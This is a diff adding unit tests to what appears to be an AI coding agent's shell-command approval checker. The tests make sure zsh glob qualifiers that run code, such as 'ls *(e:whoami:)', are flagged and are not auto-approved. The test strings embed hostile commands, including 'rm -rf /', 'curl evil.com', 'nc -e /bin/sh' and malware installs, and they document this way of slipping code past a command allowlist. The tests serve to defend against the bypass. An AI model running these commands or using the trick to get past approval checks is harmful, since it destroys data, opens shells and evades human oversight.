@@ -292,6 +292,27 @@ ls -la || echo "Failed"`
292292 expect ( containsDangerousSubstitution ( "ls =(sudo apt install malware)" ) ) . toBe ( true )
293293 } )
294294
295+ it ( "detects zsh glob qualifiers with code execution (e:...:)" , ( ) => {
296+ // Basic glob qualifier with command execution
297+ expect ( containsDangerousSubstitution ( "ls *(e:whoami:)" ) ) . toBe ( true )
298+
299+ // Various glob patterns with code execution
300+ expect ( containsDangerousSubstitution ( "cat ?(e:rm -rf /:)" ) ) . toBe ( true )
301+ expect ( containsDangerousSubstitution ( "echo +(e:sudo reboot:)" ) ) . toBe ( true )
302+ expect ( containsDangerousSubstitution ( "rm @(e:curl evil.com:)" ) ) . toBe ( true )
303+ expect ( containsDangerousSubstitution ( "touch !(e:nc -e /bin/sh:)" ) ) . toBe ( true )
304+
305+ // Glob qualifiers in middle of command
306+ expect ( containsDangerousSubstitution ( "ls -la *(e:date:) test" ) ) . toBe ( true )
307+
308+ // Multiple glob qualifiers
309+ expect ( containsDangerousSubstitution ( "cat *(e:whoami:) ?(e:pwd:)" ) ) . toBe ( true )
310+
311+ // Glob qualifiers with complex commands
312+ expect ( containsDangerousSubstitution ( "ls *(e:open -a Calculator:)" ) ) . toBe ( true )
313+ expect ( containsDangerousSubstitution ( "rm *(e:sudo apt install malware:)" ) ) . toBe ( true )
314+ } )
315+
295316 it ( "does NOT flag safe parameter expansions" , ( ) => {
296317 // Regular parameter expansions without dangerous operators
297318 expect ( containsDangerousSubstitution ( "echo ${var}" ) ) . toBe ( false )
@@ -324,6 +345,12 @@ ls -la || echo "Failed"`
324345 // Safe comparison operators
325346 expect ( containsDangerousSubstitution ( "if [ $a == $b ]; then" ) ) . toBe ( false )
326347 expect ( containsDangerousSubstitution ( "test $x != $y" ) ) . toBe ( false )
348+
349+ // Safe glob patterns without code execution qualifiers
350+ expect ( containsDangerousSubstitution ( "ls *" ) ) . toBe ( false )
351+ expect ( containsDangerousSubstitution ( "rm *.txt" ) ) . toBe ( false )
352+ expect ( containsDangerousSubstitution ( "cat ?(foo|bar)" ) ) . toBe ( false )
353+ expect ( containsDangerousSubstitution ( "echo *(^/)" ) ) . toBe ( false ) // Safe glob qualifier (not e:)
327354 } )
328355
329356 it ( "handles complex combinations of dangerous patterns" , ( ) => {
@@ -349,6 +376,9 @@ ls -la || echo "Failed"`
349376
350377 // The new zsh process substitution exploit
351378 expect ( containsDangerousSubstitution ( "ls =(open -a Calculator)" ) ) . toBe ( true )
379+
380+ // The zsh glob qualifier exploit
381+ expect ( containsDangerousSubstitution ( "ls *(e:whoami:)" ) ) . toBe ( true )
352382 } )
353383 } )
354384} )
@@ -965,6 +995,25 @@ describe("Unified Command Decision Functions", () => {
965995 // Combined with denied commands
966996 expect ( getCommandDecision ( "rm =(echo test)" , [ "echo" ] , [ "rm" ] ) ) . toBe ( "auto_deny" )
967997 } )
998+
999+ it ( "prevents auto-approval for zsh glob qualifier exploits" , ( ) => {
1000+ // The zsh glob qualifier exploit with code execution
1001+ const globExploit = "ls *(e:whoami:)"
1002+ // Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
1003+ expect ( getCommandDecision ( globExploit , [ "ls" , "echo" ] , [ ] ) ) . toBe ( "ask_user" )
1004+
1005+ // Various forms should all be blocked
1006+ expect ( getCommandDecision ( "cat ?(e:rm -rf /:)" , [ "cat" ] , [ ] ) ) . toBe ( "ask_user" )
1007+ expect ( getCommandDecision ( "echo +(e:date:)" , [ "echo" ] , [ ] ) ) . toBe ( "ask_user" )
1008+ expect ( getCommandDecision ( "touch @(e:pwd:)" , [ "touch" ] , [ ] ) ) . toBe ( "ask_user" )
1009+ expect ( getCommandDecision ( "rm !(e:ls:)" , [ "rm" ] , [ ] ) ) . toBe ( "ask_user" ) // rm not in allowlist, has dangerous pattern
1010+
1011+ // Combined with denied commands
1012+ expect ( getCommandDecision ( "rm *(e:echo test:)" , [ "echo" ] , [ "rm" ] ) ) . toBe ( "auto_deny" )
1013+
1014+ // Multiple glob qualifiers
1015+ expect ( getCommandDecision ( "ls *(e:whoami:) ?(e:pwd:)" , [ "ls" ] , [ ] ) ) . toBe ( "ask_user" )
1016+ } )
9681017 } )
9691018
9701019 it ( "returns auto_deny for commands with any sub-command auto-denied" , ( ) => {
0 commit comments